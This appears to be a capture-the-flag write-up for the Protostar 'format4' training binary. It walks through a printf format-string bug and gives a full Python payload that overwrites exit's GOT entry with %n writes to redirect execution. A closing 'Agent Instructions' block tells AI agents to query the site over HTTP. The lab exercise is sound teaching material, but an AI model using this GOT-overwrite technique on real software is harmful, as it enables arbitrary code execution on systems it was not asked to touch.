# Protostar - format4

## Analyzing the source code

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);  
}

int main(int argc, char **argv)
{
  vuln();
}
```

As this is a [format string](https://www.youtube.com/watch?v=0WvrSfcdq1I\&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN\&index=18) challenge we will attack through the `prinf` in line 20. This command is immediately followed by an `exit` so changing the return address of the function is of no use. Instead, we are going to manipulate the [got.plt](https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html) registry of `exit` , forcing it to call `hello` instead.&#x20;

## Gathering Information

Before we can write the exploit itself we need to answer some questions:

#### What is the address of `hello`?

Grab it using gdb:

![](/files/-MJ3P2M4xd7zdAZBESI9)

#### What is the location of `exit`'s got.plt?

Using `objdump -TR` we can see it's `0x08049724`.

![](/files/-MJ3PnAxJ1lkZr5VtVPl)

You can also use gdb to find `exit@plt` with `i functions exit`, print its contents with `disas` and see than the first line jumps to what's located in `0x08049724`.

#### At which offset can we input values?

To find the offset at which we are starting to read from the buffer try something in the lines of:

![](/files/-MJ3RRYv9jmudLc-JD5y)

We can use variables starting with the fourth.

## Exploiting

In `printf`'s [man page](https://linux.die.net/man/3/printf), under the bugs section it says:

![](/files/-MJ3SYBzJLggymvejz4N)

We can write an address, and %n will write data there! But what will be written?

> ...the number of characters written so far is stored. \[[source](https://stackoverflow.com/questions/3401156/what-is-the-use-of-the-n-format-specifier-in-c)]

The value we need to write is huge! To get over it we will write the data in three parts - LSB byte, two middle bytes, and MSB byte. To set the offset we need to insert values between the `%n`'s, that will be done using %SIZEx which translates to the padding of SIZE.

```
#!/usr/bin/python3

import sys

exit_lsb_address = b"\x24\x97\x04\x08"
exit_mid_address = b"\x25\x97\x04\x08"
exit_msb_address = b"\x27\x97\x04\x08"

lsb_offset = b"%167x "
mid_offset = b"%974x "
msb_offset = b"%130x "

payload = b""
payload += exit_lsb_address + exit_mid_address + exit_msb_address + \
           lsb_offset + "%4$n ".encode() + mid_offset + "%5$n ".encode() + \
           msb_offset +  "%6$n ".encode()

sys.stdout.buffer.write(payload)
```

#### Two notes

* The overall structure of the payload is:
  * Three write addresses
  * 3 Times - Offset to achieve good value, write to address with %INDEXn \[INDEX which we discovered earlier].&#x20;
* I used `sys.stdout.buffer.write` to print the exact values without UTF-8. There are other ways to achieve this.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://nickbhe.gitbook.io/shikata-ga-nai/more-pwn/protostar-format4.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
